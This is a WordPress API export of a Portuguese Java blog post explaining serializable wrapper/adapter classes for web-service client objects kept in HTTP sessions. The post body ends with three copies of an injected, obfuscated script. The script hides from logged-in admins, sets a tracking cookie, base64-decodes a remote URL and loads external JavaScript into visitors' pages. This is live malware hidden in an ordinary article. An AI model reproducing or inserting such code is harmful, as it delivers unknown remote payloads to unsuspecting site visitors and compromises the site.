{"id":1218,"date":"2011-03-15T16:11:56","date_gmt":"2011-03-15T19:11:56","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1218"},"modified":"2025-10-26T22:41:07","modified_gmt":"2025-10-27T01:41:07","slug":"wrapperadapter-serializable","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/03\/15\/wrapperadapter-serializable\/","title":{"rendered":"Wrapper\/Adapter Serializable"},"content":{"rendered":"<p style=\"text-align: justify;\">Para gravarmos dados na sess\u00e3o do usu\u00e1rio \u00e9 necess\u00e1rio que as classes implementem a interface java.io.Serializable. Caso isso n\u00e3o ocorra, podemos ter erro com a exce\u00e7\u00e3o: <a title=\"NotSerializableException\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/io\/NotSerializableException.html\" target=\"_blank\" rel=\"noopener\">NotSerializableException<\/a> ou mal funcionamento da aplica\u00e7\u00e3o, principalmente se voc\u00ea estiver em ambiente clusterizado com replica\u00e7\u00e3o de sess\u00e3o.<\/p>\n<p style=\"text-align: justify;\">E isso se torna, um problema quando trabalhamos com a gera\u00e7\u00e3o autom\u00e1tica de clientes de Web Services, pois as classes s\u00e3o geradas sem \u201cimplements java.io.Serializable\u201d. Portanto n\u00e3o podemos inserir essas classes no contexto de sess\u00e3o. Uma solu\u00e7\u00e3o \u00e9 editar as classes geradas incluindo o \u201cimplements java.io.Serializable\u201d. O problema dessa abordagem \u00e9 que ao gerar novamente as classes (como por exemplo: altera\u00e7\u00e3o de endpoint, atualiza\u00e7\u00e3o de WSDL ou inclus\u00e3o de pol\u00edtica de seguran\u00e7a ou SOAP Handler), as classes com \u201cimplements java.io.Serializable\u201d ser\u00e3o sobreescritas e essa solu\u00e7\u00e3o perder\u00e1 validade, sendo necess\u00e1rio alterar todas as classes novamente.<\/p>\n<p style=\"text-align: justify;\">Uma boa alternativa para resolver esse problema \u00e9 a cria\u00e7\u00e3o de Wrappers serializ\u00e1veis para classes n\u00e3o serializ\u00e1veis. Com base nesse problema resolvi criar uma interaface auxiliar para obrigar a implementa\u00e7\u00e3o da convers\u00e3o entre o Wrapper e a classe alvo.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npublic interface Wrappable extends Serializable {\n   public void wrap(T objectToCopy);\n   public T unwrap();\n}\n<\/pre>\n<p style=\"text-align: justify;\">O m\u00e9todo wrap \u00e9 respons\u00e1vel por receber um objeto e copiar os atributos necess\u00e1rios e o unwrap reconstr\u00f3i o objeto. Para fins de demonstra\u00e7\u00e3o utilizaremos a seguinte classe:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npublic class Boo {\n   private String doo;\n   private int foo;\n\n   public Boo(String doo, int foo) {\n      super();\n      this.doo = doo;\n      this.foo = foo;\n   }\n   public String getDoo() {\n      return doo;\n   }\n   public void setDoo(String doo) {\n      this.doo = doo;\n   }\n   public int getFoo() {\n      return foo;\n   }\n   public void setFoo(int foo) {\n      this.foo = foo;\n   }\n}\n<\/pre>\n<p style=\"text-align: justify;\">Essa \u00e9 uma classe n\u00e3o serializ\u00e1vel. Para criar o Wrapper serializ\u00e1vel correspondente \u00e9 s\u00f3 implementar devidamente a interface:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npublic class BooWrapper implements Wrappable {\n\n   private static final long serialVersionUID = 201103151148L;\n\n   private String doo;\n   private int foo;\n\n   public BooWrapper(Boo object) {\n      wrap(object);\n   }\n\n   @Override\n   public void wrap(Boo objectToCopy) {\n      this.doo = objectToCopy.getDoo();\n      this.foo = objectToCopy.getFoo();\n   }\n\n   @Override\n   public Boo unwrap() {\n      return new Boo(doo, foo);\n   }\n}\n<\/pre>\n<p style=\"text-align: justify;\">N\u00e3o \u00e9 recomendado herdar a classe ou mesmo inclu\u00ed-la como atributo pois  como ela n\u00e3o \u00e9 serializ\u00e1vel e tamb\u00e9m pode conter atributos n\u00e3o  serializ\u00e1veis, o problema n\u00e3o ser\u00e1 resolvido (se mesmo assim voc\u00ea quiser, pode marc\u00e1-la como transiente). Com base no exemplo acima,  podemos utilizar o Wrapper como um Adapter e alterar nome dos  atributos\/m\u00e9todos, inserir m\u00e9todos auxiliares e inserir somente o  necess\u00e1rio na sess\u00e3o. Diminuindo o acoplamento entre a camada Web e a camada de servi\u00e7os.<\/p>\n<p style=\"text-align: justify;\">Uma outra possibilidade \u00e9 criar um arquivo de personaliza\u00e7\u00e3o dos bindings do JAXB para ter suporte \u00e0 Serializable: <a title=\"JAXB Serializable\" href=\"http:\/\/download.oracle.com\/docs\/cd\/E17802_01\/webservices\/webservices\/docs\/1.6\/jaxb\/vendorCustomizations.html#serializable\" target=\"_blank\" rel=\"noopener\">http:\/\/download.oracle.com\/docs\/cd\/E17802_01\/webservices\/webservices\/docs\/1.6\/jaxb\/vendorCustomizations.html#serializable<\/a><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para gravarmos dados na sess\u00e3o do usu\u00e1rio \u00e9 necess\u00e1rio que as classes implementem a interface java.io.Serializable. Caso isso n\u00e3o ocorra, podemos ter erro com a exce\u00e7\u00e3o: NotSerializableException ou mal funcionamento da aplica\u00e7\u00e3o, principalmente se voc\u00ea estiver em ambiente clusterizado com <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/03\/15\/wrapperadapter-serializable\/\">Continue lendo  <span class=\"screen-reader-text\">  Wrapper\/Adapter Serializable<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,10,9,76],"tags":[],"class_list":["post-1218","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-jee","category-oracle","category-soa-2"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1218"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1218\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}